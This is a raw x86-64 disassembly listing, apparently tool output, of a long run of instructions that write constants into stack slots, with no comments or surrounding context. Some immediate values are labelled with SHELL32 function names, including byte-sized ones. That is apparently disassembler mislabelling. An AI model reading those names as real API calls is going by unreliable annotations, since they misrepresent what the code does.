movabs rax, 0x7964e28ac66933
mov qword [rsp + 0xa6d8], rax
movabs rax, 0x7655cb5b0fbebf
mov qword [rsp + 0xa6e0], rax
mov dword [rsp + 0x5fc8], 0x2c16
mov eax, 0x4ec
mov word [rsp + 0x1750], ax
mov dword [rsp + 0x5fcc], 0x7ac8
mov dword [rsp + 0x5fd0], 0x41ee
movabs rax, 0x78171e0ef568e9
mov qword [rsp + 0xa6e8], rax
mov byte [rsp + 0x224], 5
movabs rax, 0x70b1df6b021696
mov qword [rsp + 0xa6f0], rax
movabs rax, 0x7d59ce36a72bd4
mov qword [rsp + 0xa6f8], rax
mov eax, 0xac0
mov word [rsp + 0x1754], ax
mov byte [rsp + 0x225], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x7471c0874d1ff8
mov qword [rsp + 0xa700], rax
mov dword [rsp + 0x5fd4], 0x599b
mov dword [rsp + 0x5fd8], 0x569d
mov dword [rsp + 0x5fdc], 0x5fc137a
mov dword [rsp + 0x5fe0], 0xcd06
movabs rax, 0x7a07071e0e0666
mov qword [rsp + 0xa708], rax
mov byte [rsp + 0x226], 0x7d
mov byte [rsp + 0x227], 0xda
mov eax, 0xb3d
mov word [rsp + 0x1758], ax
movabs rax, 0x778256af36c4ac
mov qword [rsp + 0xa710], rax
mov eax, 0x195
mov word [rsp + 0x175c], ax
mov eax, 0xe1
mov word [rsp + 0x1760], ax
movabs rax, 0x745b2fb2c921de
mov qword [rsp + 0xa718], rax
mov byte [rsp + 0x228], reloc.SHELL32.dll_ILCombine
mov byte [rsp + 0x229], 6
movabs rax, 0x70a3d1335f4234
mov qword [rsp + 0xa720], rax
movabs rax, 0x7631fa91073f3c
mov qword [rsp + 0xa728], rax
mov eax, 0x3ca
mov word [rsp + 0x1764], ax
mov dword [rsp + 0x5fe4], 0xb136
mov eax, 0xabc
mov word [rsp + 0x1768], ax
mov dword [rsp + 0x5fe8], 0x4515
mov dword [rsp + 0x5fec], 0x5177
mov eax, 0x28f
mov word [rsp + 0x176c], ax
movabs rax, 0x77f727b896cdb3
mov qword [rsp + 0xa730], rax
movabs rax, 0x77d611de6973bd
mov qword [rsp + 0xa738], rax
mov dword [rsp + 0x5ff0], 0x2140224f
mov eax, 0x219
mov word [rsp + 0x1770], ax
mov eax, 0x5af
mov word [rsp + 0x1774], ax
movabs rax, 0x764192ac495ca3
mov qword [rsp + 0xa740], rax
mov eax, 0x1a5
mov word [rsp + 0x1778], ax
movabs rax, 0x730ac4cab0a160
mov qword [rsp + 0xa748], rax
mov eax, 0x97c
mov word [rsp + 0x177c], ax
mov byte [rsp + 0x22a], 0x64
mov dword [rsp + 0x5ff4], 0x458e77e6
movabs rax, 0x79a4c36f2f350a
mov qword [rsp + 0xa750], rax
movabs rax, 0x7e063051e3dd52
mov qword [rsp + 0xa758], rax
mov eax, 0xc69
mov word [rsp + 0x1780], ax
movabs rax, 0x74c5e590dde89c
mov qword [rsp + 0xa760], rax
mov dword [rsp + 0x5ff8], 0x467c
mov eax, reloc.SHELL32.dll_ILGetNext
mov word [rsp + 0x1784], ax
movabs rax, 0x7945ed698c8bcf
mov qword [rsp + 0xa768], rax
mov eax, 0x500
mov word [rsp + 0x1788], ax
mov eax, 0x246
mov word [rsp + 0x178c], ax
mov eax, 0xf35
mov word [rsp + 0x1790], ax
mov dword [rsp + 0x5ffc], 0x1f460a83
movabs rax, 0x78f8beec4545ab
mov qword [rsp + 0xa770], rax
mov dword [rsp + 0x6000], 0x27a06b78
mov eax, 0x385
mov word [rsp + 0x1794], ax
mov byte [rsp + 0x22b], 0x82
mov dword [rsp + 0x6004], 0x1e87f7da
mov byte [rsp + 0x22c], 0x75
mov dword [rsp + 0x6008], 0xfbcc
mov eax, 0x696
mov word [rsp + 0x1798], ax
movabs rax, 0x79fa50680236c2
mov qword [rsp + 0xa778], rax
mov dword [rsp + 0x600c], 0x56780989
mov byte [rsp + 0x22d], 0xfa
mov byte [rsp + 0x22e], reloc.SHELL32.dll_SHUpdateImageW
movabs rax, 0x73fc147f95aca8
mov qword [rsp + 0xa780], rax
mov byte [rsp + 0x22f], 0x7e
movabs rax, 0x798e3d4378dad2
mov qword [rsp + 0xa788], rax
mov byte [rsp + 0x230], 0x4d
mov dword [rsp + 0x6010], 0xbdf68a9
mov byte [rsp + 0x231], 0x5d
mov byte [rsp + 0x232], 0x78
mov dword [rsp + 0x6014], 0x2e7d
mov byte [rsp + 0x233], SHDoDragDrop
mov eax, 0x28f
mov word [rsp + 0x179c], ax
mov dword [rsp + 0x6018], 0xe14e
mov eax, 0xe45
mov word [rsp + 0x17a0], ax
mov eax, 0x1da
mov word [rsp + 0x17a4], ax
mov eax, 0x472
mov word [rsp + 0x17a8], ax
mov dword [rsp + 0x601c], 0x7b38
mov byte [rsp + 0x234], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x235], 0x5e
mov byte [rsp + 0x236], 0x6b
mov dword [rsp + 0x6020], 0x71acb00a
mov byte [rsp + 0x237], SHDoDragDrop
mov dword [rsp + 0x6024], 0x63a2b40
mov eax, 0x102
mov word [rsp + 0x17ac], ax
mov byte [rsp + 0x238], 0x6e
mov eax, 0x548
mov word [rsp + 0x17b0], ax
movabs rax, 0x7844be81ec5a73
mov qword [rsp + 0xa790], rax
mov byte [rsp + 0x239], 0x23
mov eax, 0x64d
mov word [rsp + 0x17b4], ax
mov dword [rsp + 0x6028], 0xa4ea
mov dword [rsp + 0x602c], 0x56db
movabs rax, 0x70b4596b0f6bd4
mov qword [rsp + 0xa798], rax
mov byte [rsp + 0x23a], 0x34
mov dword [rsp + 0x6030], 0xcb1c
mov byte [rsp + 0x23b], 0x4d
mov eax, 0x395
mov word [rsp + 0x17b8], ax
mov eax, 0x583
mov word [rsp + 0x17bc], ax
mov byte [rsp + 0x23c], 0x7c
movabs rax, 0x7e901f4c1e2119
mov qword [rsp + 0xa7a0], rax
mov byte [rsp + 0x23d], SHDoDragDrop
mov eax, 0x568
mov word [rsp + 0x17c0], ax
mov byte [rsp + 0x23e], reloc.SHELL32.dll_ILCombine
mov eax, 0x6ee
mov word [rsp + 0x17c4], ax
mov eax, 0x7d4
mov word [rsp + 0x17c8], ax
mov eax, 0x6c
mov word [rsp + 0x17cc], ax
mov eax, 0x936
mov word [rsp + 0x17d0], ax
mov eax, 0xb6a
mov word [rsp + 0x17d4], ax
mov dword [rsp + 0x6034], 0x7e2e
movabs rax, 0x705c17143efe9c
mov qword [rsp + 0xa7a8], rax
movabs rax, 0x7ee9a4def01bb8
mov qword [rsp + 0xa7b0], rax
movabs rax, 0x78beffa0303502
mov qword [rsp + 0xa7b8], rax
mov eax, 0x406
mov word [rsp + 0x17d8], ax
mov eax, 0x6ac
mov word [rsp + 0x17dc], ax
mov eax, 0x323
mov word [rsp + 0x17e0], ax
mov eax, 0x41
mov word [rsp + 0x17e4], ax
mov eax, 0x7aa
mov word [rsp + 0x17e8], ax
mov dword [rsp + 0x6038], 0xb35d
movabs rax, 0x77dc0ac121a901
mov qword [rsp + 0xa7c0], rax
movabs rax, 0x77a40aa16d8a45
mov qword [rsp + 0xa7c8], rax
mov dword [rsp + 0x603c], 0xe75f
mov byte [rsp + 0x23f], 0xa6
mov eax, 0x7a0
mov word [rsp + 0x17ec], ax
movabs rax, 0x7e4054ec29555a
mov qword [rsp + 0xa7d0], rax
mov eax, 0xc9b
mov word [rsp + 0x17f0], ax
mov byte [rsp + 0x240], 0xa7
mov eax, 0x581
mov word [rsp + 0x17f4], ax
mov dword [rsp + 0x6040], 0x2b62494b
movabs rax, 0x73c7492800f3b9
mov qword [rsp + 0xa7d8], rax
mov byte [rsp + 0x241], 0x71
movabs rax, 0x716cdc65180bc0
mov qword [rsp + 0xa7e0], rax
mov eax, 0xa36
mov word [rsp + 0x17f8], ax
mov eax, 0x3a0
mov word [rsp + 0x17fc], ax
mov eax, 0x548
mov word [rsp + 0x1800], ax
mov dword [rsp + 0x6044], 0x908c
mov eax, 0xc2d
mov word [rsp + 0x1804], ax
mov eax, 0x570
mov word [rsp + 0x1808], ax
mov dword [rsp + 0x6048], 0x48a7078b
mov dword [rsp + 0x604c], 0x62a24591
mov eax, 0x3e1
mov word [rsp + 0x180c], ax
mov eax, 0x325
mov word [rsp + 0x1810], ax
mov eax, 0x5ff
mov word [rsp + 0x1814], ax
movabs rax, 0x74c5990ecb01cb
mov qword [rsp + 0xa7e8], rax
mov eax, 0x227
mov word [rsp + 0x1818], ax
mov dword [rsp + 0x6050], 0xdc8d
mov eax, 0x84a
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x6054], 0x7866
mov byte [rsp + 0x242], 0x77
mov eax, 0x65b
mov word [rsp + 0x1820], ax
mov eax, 0x1d
mov word [rsp + 0x1824], ax
mov eax, 0xf5c
mov word [rsp + 0x1828], ax
movabs rax, 0x79bd2d36acaa3d
mov qword [rsp + 0xa7f0], rax
mov eax, 0x31c
mov word [rsp + 0x182c], ax
mov byte [rsp + 0x243], 0x7d
mov eax, 0x5de
mov word [rsp + 0x1830], ax
mov eax, 0x96c
mov word [rsp + 0x1834], ax
mov dword [rsp + 0x6058], 0x2eea6b82
movabs rax, 0x75c7cffb2c4fda
mov qword [rsp + 0xa7f8], rax
movabs rax, 0x75ca0fce32fcd0
mov qword [rsp + 0xa800], rax
movabs rax, 0x737080638426f9
mov qword [rsp + 0xa808], rax
mov eax, 0x7b3
mov word [rsp + 0x1838], ax
movabs rax, 0x74c2dd365be8b1
mov qword [rsp + 0xa810], rax
movabs rax, 0x7d06a2094b59cc
mov qword [rsp + 0xa818], rax
movabs rax, 0x74376835f3026b
mov qword [rsp + 0xa820], rax
movabs rax, 0x731e2486c2702e
mov qword [rsp + 0xa828], rax
movabs rax, 0x78ca9c0960fd4c
mov qword [rsp + 0xa830], rax
mov dword [rsp + 0x605c], 0xc31e
movabs rax, 0x77ee12e33b0c33
mov qword [rsp + 0xa838], rax
mov eax, 0xf7c
mov word [rsp + 0x183c], ax
mov eax, 0x5d3
mov word [rsp + 0x1840], ax
movabs rax, 0x7bc8ef3ee5190c
mov qword [rsp + 0xa840], rax
movabs rax, 0x7ce25668941f71
mov qword [rsp + 0xa848], rax
mov byte [rsp + 0x244], 0x1e
movabs rax, 0x73a485bf2a4261
mov qword [rsp + 0xa850], rax
mov eax, 0xa36
mov word [rsp + 0x1844], ax
mov eax, 0x31d
mov word [rsp + 0x1848], ax
movabs rax, 0x7a3658152d93a0
mov qword [rsp + 0xa858], rax
mov byte [rsp + 0x245], 0x59
mov eax, 0x6e0
mov word [rsp + 0x184c], ax
movabs rax, 0x7779dfdee4fba2
mov qword [rsp + 0xa860], rax
mov eax, 0xa02
mov word [rsp + 0x1850], ax
movabs rax, 0x7e6e56ee7d963a
mov qword [rsp + 0xa868], rax
movabs rax, 0x7a6912e5db7034
mov qword [rsp + 0xa870], rax
mov eax, 0x1d2
mov word [rsp + 0x1854], ax
mov byte [rsp + 0x246], 0xa
mov dword [rsp + 0x6060], 0x673f2b7e
mov dword [rsp + 0x6064], 0x7145
movabs rax, 0x797576bd2a25a8
mov qword [rsp + 0xa878], rax
movabs rax, 0x78c85b7fd7da2a
mov qword [rsp + 0xa880], rax
mov eax, 0xb59
mov word [rsp + 0x1858], ax
movabs rax, 0x7db9d86e8e4cf5
mov qword [rsp + 0xa888], rax
mov byte [rsp + 0x247], PathMakeUniqueName
movabs rax, 0x7af1a687167493
mov qword [rsp + 0xa890], rax
movabs rax, 0x780b8dbb31dd95
mov qword [rsp + 0xa898], rax
mov byte [rsp + 0x248], 0x40
mov dword [rsp + 0x6068], 0x44b3
mov byte [rsp + 0x249], 0xf9
movabs rax, 0x764503a3494b26
mov qword [rsp + 0xa8a0], rax
mov eax, 0x212
mov word [rsp + 0x185c], ax
movabs rax, 0x79eb3292044219
mov qword [rsp + 0xa8a8], rax
movabs rax, 0x7ab666a4384353
mov qword [rsp + 0xa8b0], rax
movabs rax, 0x7584bd9973f029
mov qword [rsp + 0xa8b8], rax
mov eax, 0x188
mov word [rsp + 0x1860], ax
mov byte [rsp + 0x24a], 5
mov eax, 0x445
mov word [rsp + 0x1864], ax
mov eax, 0x126
mov word [rsp + 0x1868], ax
mov eax, 0xa6b
mov word [rsp + 0x186c], ax
mov eax, 0x732
mov word [rsp + 0x1870], ax
movabs rax, 0x7d3ea8f4b13dda
mov qword [rsp + 0xa8c0], rax
mov byte [rsp + 0x24b], 0x73
movabs rax, 0x7af87564d395ed
mov qword [rsp + 0xa8c8], rax
movabs rax, 0x77e3d05d655e58
mov qword [rsp + 0xa8d0], rax
movabs rax, 0x7ec8324cdcd6d4
mov qword [rsp + 0xa8d8], rax
movabs rax, 0x7d22c1586e0206
mov qword [rsp + 0xa8e0], rax
movabs rax, 0x74ddce2712b175
mov qword [rsp + 0xa8e8], rax
movabs rax, 0x7b38171eb763a2
mov qword [rsp + 0xa8f0], rax
mov eax, 0x7ca
mov word [rsp + 0x1874], ax
mov eax, 0x1c1
mov word [rsp + 0x1878], ax
mov eax, 0xa84
mov word [rsp + 0x187c], ax
movabs rax, 0x7049b960546a7a
mov qword [rsp + 0xa8f8], rax
mov eax, 0x31c
mov word [rsp + 0x1880], ax
mov eax, 0x145
mov word [rsp + 0x1884], ax
mov dword [rsp + 0x606c], 0x4cef902d
mov eax, 0x618
mov word [rsp + 0x1888], ax
mov byte [rsp + 0x24c], 0x36
mov eax, 0x6d0
mov word [rsp + 0x188c], ax
mov dword [rsp + 0x6070], 0xec97
mov eax, 0xa74
mov word [rsp + 0x1890], ax
mov byte [rsp + 0x24d], 0xc6
mov byte [rsp + 0x24e], 0x6a
mov byte [rsp + 0x24f], SHDoDragDrop
movabs rax, 0x7586819cde0bf6
mov qword [rsp + 0xa900], rax
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x1894], ax
movabs rax, 0x710c65d8cbb93f
mov qword [rsp + 0xa908], rax
mov eax, 0x599
mov word [rsp + 0x1898], ax
mov eax, 0x3e3
mov word [rsp + 0x189c], ax
mov byte [rsp + 0x250], 0x27
movabs rax, 0x7c1f9d5b190d38
mov qword [rsp + 0xa910], rax
mov dword [rsp + 0x6074], 0x7ebb
movabs rax, 0x72a676c4a508d4
mov qword [rsp + 0xa918], rax
mov dword [rsp + 0x6078], 0x5cd83c0a
mov dword [rsp + 0x607c], 0xfa50
movabs rax, 0x782d2f5e2adb2d
mov qword [rsp + 0xa920], rax
mov eax, 0x6c1
mov word [rsp + 0x18a0], ax
mov byte [rsp + 0x251], 0x6a
movabs rax, 0x70625e58a0d0c1
mov qword [rsp + 0xa928], rax
movabs rax, 0x7abcf67926be75
mov qword [rsp + 0xa930], rax
mov dword [rsp + 0x6080], 0xf57c
mov dword [rsp + 0x6084], 0x2338
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x18a4], ax
mov eax, 0x3cb
mov word [rsp + 0x18a8], ax
mov dword [rsp + 0x6088], 0x75236d27
mov byte [rsp + 0x252], ILSaveToStream
mov eax, 0x172
mov word [rsp + 0x18ac], ax
mov eax, 0xec
mov word [rsp + 0x18b0], ax
movabs rax, 0x7cb5a8eb6d273c
mov qword [rsp + 0xa938], rax
movabs rax, 0x76643c1046b2ad
mov qword [rsp + 0xa940], rax
mov eax, 0x5ce
mov word [rsp + 0x18b4], ax
mov eax, 0xda7
mov word [rsp + 0x18b8], ax
movabs rax, 0x70dc050c806d1f
mov qword [rsp + 0xa948], rax
movabs rax, 0x7639ac9c5c040b
mov qword [rsp + 0xa950], rax
mov dword [rsp + 0x608c], 0xc393
movabs rax, 0x75b9ce11df762d
mov qword [rsp + 0xa958], rax
mov byte [rsp + 0x253], SHDoDragDrop
mov eax, 0x399
mov word [rsp + 0x18bc], ax
movabs rax, 0x7811ac9a4b61f5
mov qword [rsp + 0xa960], rax
mov dword [rsp + 0x6090], 0x45f204bd
movabs rax, 0x748e46114bfb6d
mov qword [rsp + 0xa968], rax
mov eax, 0x6c4
mov word [rsp + 0x18c0], ax
movabs rax, 0x7dc19813fcf248
mov qword [rsp + 0xa970], rax
mov eax, 0x437
mov word [rsp + 0x18c4], ax
movabs rax, 0x78cffb707c687a
mov qword [rsp + 0xa978], rax
mov dword [rsp + 0x6094], 0xeb81
mov dword [rsp + 0x6098], 0xb460
movabs rax, 0x7062a4234439e8
mov qword [rsp + 0xa980], rax
mov dword [rsp + 0x609c], 0xb79cd65
mov dword [rsp + 0x60a0], 0x2196
mov byte [rsp + 0x254], SHDoDragDrop
mov dword [rsp + 0x60a4], 0xfef
mov dword [rsp + 0x60a8], 0x38e91823
movabs rax, 0x79097b1f3d473e
mov qword [rsp + 0xa988], rax
mov eax, 0x45
mov word [rsp + 0x18c8], ax
mov byte [rsp + 0x255], ILIsParent
mov dword [rsp + 0x60ac], 0x415ae329
mov eax, 0x29a
mov word [rsp + 0x18cc], ax
mov dword [rsp + 0x60b0], 0x5c0d5784
mov eax, 0x972
mov word [rsp + 0x18d0], ax
movabs rax, 0x7e4c6f9c95820f
mov qword [rsp + 0xa990], rax
mov byte [rsp + 0x256], 0xd5
mov byte [rsp + 0x257], SHTestTokenMembership
mov eax, 0x412
mov word [rsp + 0x18d4], ax
movabs rax, 0x7c347f98f5556f
mov qword [rsp + 0xa998], rax
mov eax, 0x899
mov word [rsp + 0x18d8], ax
mov byte [rsp + 0x258], 0xe7
mov eax, 0x5ab
mov word [rsp + 0x18dc], ax
mov eax, 0x9ab
mov word [rsp + 0x18e0], ax
mov eax, 0x53f
mov word [rsp + 0x18e4], ax
mov eax, 0x670
mov word [rsp + 0x18e8], ax
movabs rax, 0x7a9fdc92733f6e
mov qword [rsp + 0xa9a0], rax
mov dword [rsp + 0x60b4], 0x6226
mov byte [rsp + 0x259], 3
movabs rax, 0x7c09aa97c1714b
mov qword [rsp + 0xa9a8], rax
mov byte [rsp + 0x25a], 0x6e
movabs rax, 0x7e5b549225c358
mov qword [rsp + 0xa9b0], rax
mov byte [rsp + 0x25b], SHDoDragDrop
mov byte [rsp + 0x25c], 0x1e
movabs rax, 0x7c9b14ee49d26e
mov qword [rsp + 0xa9b8], rax
mov eax, 0x9c9
mov word [rsp + 0x18ec], ax
movabs rax, 0x72c270459044e2
mov qword [rsp + 0xa9c0], rax
movabs rax, 0x78b962a8badb64
mov qword [rsp + 0xa9c8], rax
movabs rax, 0x78209356c928f1
mov qword [rsp + 0xa9d0], rax
mov byte [rsp + 0x25d], 1
mov byte [rsp + 0x25e], 0xd4
mov eax, 0xab
mov word [rsp + 0x18f0], ax
mov eax, 0x237
mov word [rsp + 0x18f4], ax
movabs rax, 0x72e0e6c31d045b
mov qword [rsp + 0xa9d8], rax
movabs rax, 0x72ba4c4e7190ff
mov qword [rsp + 0xa9e0], rax
mov dword [rsp + 0x60b8], 0xc9f2
movabs rax, 0x7dcf28705dc49b
mov qword [rsp + 0xa9e8], rax
movabs rax, 0x7553c3b9db5685
mov qword [rsp + 0xa9f0], rax
mov dword [rsp + 0x60bc], 0x62ebee06
mov dword [rsp + 0x60c0], 0x3f1d
movabs rax, 0x7d1b982fd4f553
mov qword [rsp + 0xa9f8], rax
movabs rax, 0x7ae60bdd265918
mov qword [rsp + 0xaa00], rax
mov byte [rsp + 0x25f], PathYetAnotherMakeUniqueName
mov eax, 0xa4b
mov word [rsp + 0x18f8], ax
mov eax, 0xd66
mov word [rsp + 0x18fc], ax
movabs rax, 0x70dcddf2ef02bb
mov qword [rsp + 0xaa08], rax
movabs rax, 0x72bd89e406d51d
mov qword [rsp + 0xaa10], rax
movabs rax, 0x726a83e7ac6c4a
mov qword [rsp + 0xaa18], rax
mov dword [rsp + 0x60c4], 0x74277754
mov dword [rsp + 0x60c8], 0x11c4
movabs rax, 0x7cc930f4918dfc
mov qword [rsp + 0xaa20], rax
mov eax, 0x373
mov word [rsp + 0x1900], ax
movabs rax, 0x7cc2a347f31fe2
mov qword [rsp + 0xaa28], rax
mov dword [rsp + 0x60cc], 0x4a097ca7
movabs rax, 0x778d26a42dede7
mov qword [rsp + 0xaa30], rax
mov dword [rsp + 0x60d0], 0x7b63
movabs rax, 0x7cff54e1c78674
mov qword [rsp + 0xaa38], rax
mov dword [rsp + 0x60d4], 0xa11
mov eax, 0xd86
mov word [rsp + 0x1904], ax
movabs rax, 0x777686df922a79
mov qword [rsp + 0xaa40], rax
mov eax, 0x6a
mov word [rsp + 0x1908], ax
movabs rax, 0x7640ed8987db9d
mov qword [rsp + 0xaa48], rax
mov dword [rsp + 0x60d8], 0x10df
mov dword [rsp + 0x60dc], 0x37e0f55b
mov eax, 0x52a
mov word [rsp + 0x190c], ax
mov eax, 0x277
mov word [rsp + 0x1910], ax
mov byte [rsp + 0x260], 0x7e
movabs rax, 0x77b44751d82ba3
mov qword [rsp + 0xaa50], rax
mov dword [rsp + 0x60e0], 0x8f12
mov eax, 0xd43
mov word [rsp + 0x1914], ax
movabs rax, 0x761259955b1176
mov qword [rsp + 0xaa58], rax
movabs rax, 0x7d5778826eb0c5
mov qword [rsp + 0xaa60], rax
movabs rax, 0x7add3ea49622bc
mov qword [rsp + 0xaa68], rax
mov eax, 0x6e4
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x60e4], 0xda4e
movabs rax, 0x70b80bb8cd0fcc
mov qword [rsp + 0xaa70], rax
mov eax, 0x6ad
mov word [rsp + 0x191c], ax
mov eax, 0xbe0
mov word [rsp + 0x1920], ax
mov eax, 0xefa
mov word [rsp + 0x1924], ax
mov eax, 0x51
mov word [rsp + 0x1928], ax
movabs rax, 0x760428f500ac87
mov qword [rsp + 0xaa78], rax
mov byte [rsp + 0x261], 0x1f
mov byte [rsp + 0x262], 0x4c
movabs rax, 0x7eb37c48fd32d9
mov qword [rsp + 0xaa80], rax
mov dword [rsp + 0x60e8], 0xb04769b
mov byte [rsp + 0x263], 2
movabs rax, 0x79edc4b9ab103c
mov qword [rsp + 0xaa88], rax
mov eax, 0x7ee
mov word [rsp + 0x192c], ax
mov byte [rsp + 0x264], 0xe2
movabs rax, 0x7e4f22d63ff3d0
mov qword [rsp + 0xaa90], rax
mov dword [rsp + 0x60ec], 0xf4bd
mov dword [rsp + 0x60f0], 0x8542
mov eax, PathMakeUniqueName
mov word [rsp + 0x1930], ax
mov eax, 0x38a
mov word [rsp + 0x1934], ax
movabs rax, 0x703055e28bfcac
mov qword [rsp + 0xaa98], rax
mov eax, 0x685
mov word [rsp + 0x1938], ax
movabs rax, 0x7c126f6a2acda5
mov qword [rsp + 0xaaa0], rax
mov dword [rsp + 0x60f4], 0xd4ca
movabs rax, 0x76b00733ca3cee
mov qword [rsp + 0xaaa8], rax
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0x193c], ax
mov eax, 0x33c
mov word [rsp + 0x1940], ax
movabs rax, 0x79b39818721bdd
mov qword [rsp + 0xaab0], rax
movabs rax, 0x7a6011d641d831
mov qword [rsp + 0xaab8], rax
mov byte [rsp + 0x265], 0x33
movabs rax, 0x7e7878310a44a2
mov qword [rsp + 0xaac0], rax
movabs rax, 0x7501638b312b52
mov qword [rsp + 0xaac8], rax
movabs rax, 0x76e6502af1ac7d
mov qword [rsp + 0xaad0], rax
movabs rax, 0x754d4ef47fbbb5
mov qword [rsp + 0xaad8], rax
mov byte [rsp + 0x266], 0x4d
mov dword [rsp + 0x60f8], 0x40f52763
mov dword [rsp + 0x60fc], 0x159ff2e6
movabs rax, 0x7e1e7d8c0c9c1d
mov qword [rsp + 0xaae0], rax
mov eax, 0x51d
mov word [rsp + 0x1944], ax
movabs rax, 0x769d3905aad6e4
mov qword [rsp + 0xaae8], rax
mov eax, 0x2b8
mov word [rsp + 0x1948], ax
mov eax, 0x7e1
mov word [rsp + 0x194c], ax
movabs rax, 0x76e7ef1106c1b6
mov qword [rsp + 0xaaf0], rax
movabs rax, 0x77aa452bd99e1d
mov qword [rsp + 0xaaf8], rax
mov eax, 0x2ec
mov word [rsp + 0x1950], ax
movabs rax, 0x79f4f29ddee756
mov qword [rsp + 0xab00], rax
mov eax, 0x6cf
mov word [rsp + 0x1954], ax
mov byte [rsp + 0x267], SHUpdateImageW
mov byte [rsp + 0x268], LBItemFromPt
mov eax, 0x4d3
mov word [rsp + 0x1958], ax
mov eax, 0x145
mov word [rsp + 0x195c], ax
mov dword [rsp + 0x6100], 0x558d5f7d
mov dword [rsp + 0x6104], 0x581a5811
movabs rax, 0x7de0c0364f9e7c
mov qword [rsp + 0xab08], rax
movabs rax, 0x7226767fecdd72
mov qword [rsp + 0xab10], rax
mov dword [rsp + 0x6108], 0x5c1e534e
mov dword [rsp + 0x610c], 0x18ff
mov dword [rsp + 0x6110], 0x7013493
movabs rax, 0x7de01a35dbda35
mov qword [rsp + 0xab18], rax
mov byte [rsp + 0x269], PathMakeUniqueName
movabs rax, 0x72614060e1aa62
mov qword [rsp + 0xab20], rax
mov eax, 0x9e7
mov word [rsp + 0x1960], ax
movabs rax, 0x76332dfea66cba
mov qword [rsp + 0xab28], rax
movabs rax, 0x704d8f96ca07a9
mov qword [rsp + 0xab30], rax
movabs rax, 0x7edf1e005fb9f0
mov qword [rsp + 0xab38], rax
mov dword [rsp + 0x6114], 0x5509
movabs rax, 0x7b69f12a7ce711
mov qword [rsp + 0xab40], rax
mov dword [rsp + 0x6118], 0xc1aa
mov dword [rsp + 0x611c], 0x725bb09a
movabs rax, 0x7a0386379e8209
mov qword [rsp + 0xab48], rax
movabs rax, 0x739018a4c45201
mov qword [rsp + 0xab50], rax
mov byte [rsp + 0x26a], 0x80
mov dword [rsp + 0x6120], 0x1261fca8
movabs rax, 0x750e4a633141d6
mov qword [rsp + 0xab58], rax
movabs rax, 0x76e8c1be3676df
mov qword [rsp + 0xab60], rax
movabs rax, 0x7dc1a766cf7693
mov qword [rsp + 0xab68], rax
mov byte [rsp + 0x26b], 8
mov eax, 0x372
mov word [rsp + 0x1964], ax
mov eax, 0x54e
mov word [rsp + 0x1968], ax
movabs rax, 0x78ac731fccc1c5
mov qword [rsp + 0xab70], rax
movabs rax, 0x7c5c2033841086
mov qword [rsp + 0xab78], rax
mov byte [rsp + 0x26c], 0x36
mov byte [rsp + 0x26d], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x710310837f4758
mov qword [rsp + 0xab80], rax
mov eax, 0x3ef
mov word [rsp + 0x196c], ax
mov eax, 0x69d
mov word [rsp + 0x1970], ax
movabs rax, 0x763ffff2888d67
mov qword [rsp + 0xab88], rax
movabs rax, 0x7a3a4eb16e18f9
mov qword [rsp + 0xab90], rax
movabs rax, 0x7a73f1780850aa
mov qword [rsp + 0xab98], rax
mov eax, 0x778
mov word [rsp + 0x1974], ax
mov eax, 0x833
mov word [rsp + 0x1978], ax
mov eax, 0x11f
mov word [rsp + 0x197c], ax
mov eax, 0x1ea
mov word [rsp + 0x1980], ax
mov eax, 0x566
mov word [rsp + 0x1984], ax
mov eax, 0x7fc
mov word [rsp + 0x1988], ax
mov dword [rsp + 0x6124], 0xa574
mov eax, 4
mov word [rsp + 0x198c], ax
mov byte [rsp + 0x26e], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x6128], 0x7b91608a
mov byte [rsp + 0x26f], 0x78
movabs rax, 0x752339eb9b2439
mov qword [rsp + 0xaba0], rax
movabs rax, 0x7306862a82e3e3
mov qword [rsp + 0xaba8], rax
mov byte [rsp + 0x270], 0x73
mov dword [rsp + 0x612c], 0x62c
mov byte [rsp + 0x271], 0x63
mov eax, 0x113
mov word [rsp + 0x1990], ax
mov eax, 0x1ba
mov word [rsp + 0x1994], ax
mov byte [rsp + 0x272], 0x37
mov byte [rsp + 0x273], 4
mov eax, 0x4cc
mov word [rsp + 0x1998], ax
mov dword [rsp + 0x6130], 0xcb91
movabs rax, 0x710323e6ab4a2f
mov qword [rsp + 0xabb0], rax
mov eax, 0x807
mov word [rsp + 0x199c], ax
mov eax, 0x9c
mov word [rsp + 0x19a0], ax
movabs rax, 0x7a959cb5d58366
mov qword [rsp + 0xabb8], rax
mov dword [rsp + 0x6134], 0x44a7
mov eax, 0x10a
mov word [rsp + 0x19a4], ax
mov eax, 0xbce
mov word [rsp + 0x19a8], ax
movabs rax, 0x78716229bea3b0
mov qword [rsp + 0xabc0], rax
movabs rax, 0x7a74e8db1b5f2a
mov qword [rsp + 0xabc8], rax
mov eax, 0xf74
mov word [rsp + 0x19ac], ax
mov eax, 0x220
mov word [rsp + 0x19b0], ax
mov eax, 0x597
mov word [rsp + 0x19b4], ax
mov byte [rsp + 0x274], 0x8a
mov dword [rsp + 0x6138], 0x4b313c02
movabs rax, 0x7c9f96fa553754
mov qword [rsp + 0xabd0], rax
mov eax, 0xd8f
mov word [rsp + 0x19b8], ax
mov dword [rsp + 0x613c], 0x76e45db3
mov eax, 0x356
mov word [rsp + 0x19bc], ax
mov dword [rsp + 0x6140], 0x18e56ccd
movabs rax, 0x7ec63fc3e7c317
mov qword [rsp + 0xabd8], rax
mov byte [rsp + 0x275], 0x42
movabs rax, 0x7b3b25890132c2
mov qword [rsp + 0xabe0], rax
mov eax, 0x7d5
mov word [rsp + 0x19c0], ax
movabs rax, 0x7997a70642f7c8
mov qword [rsp + 0xabe8], rax
movabs rax, 0x712c056d6ab22a
mov qword [rsp + 0xabf0], rax
movabs rax, 0x723254e17fabe3
mov qword [rsp + 0xabf8], rax
mov dword [rsp + 0x6144], 0x8450
movabs rax, 0x7112efa397659b
mov qword [rsp + 0xac00], rax
movabs rax, 0x7774883c6903ea
mov qword [rsp + 0xac08], rax
movabs rax, 0x72a13785fc8f18
mov qword [rsp + 0xac10], rax
mov dword [rsp + 0x6148], 0x35d97acb
mov eax, 0x6f6
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x614c], 0x6500
mov eax, 0x139
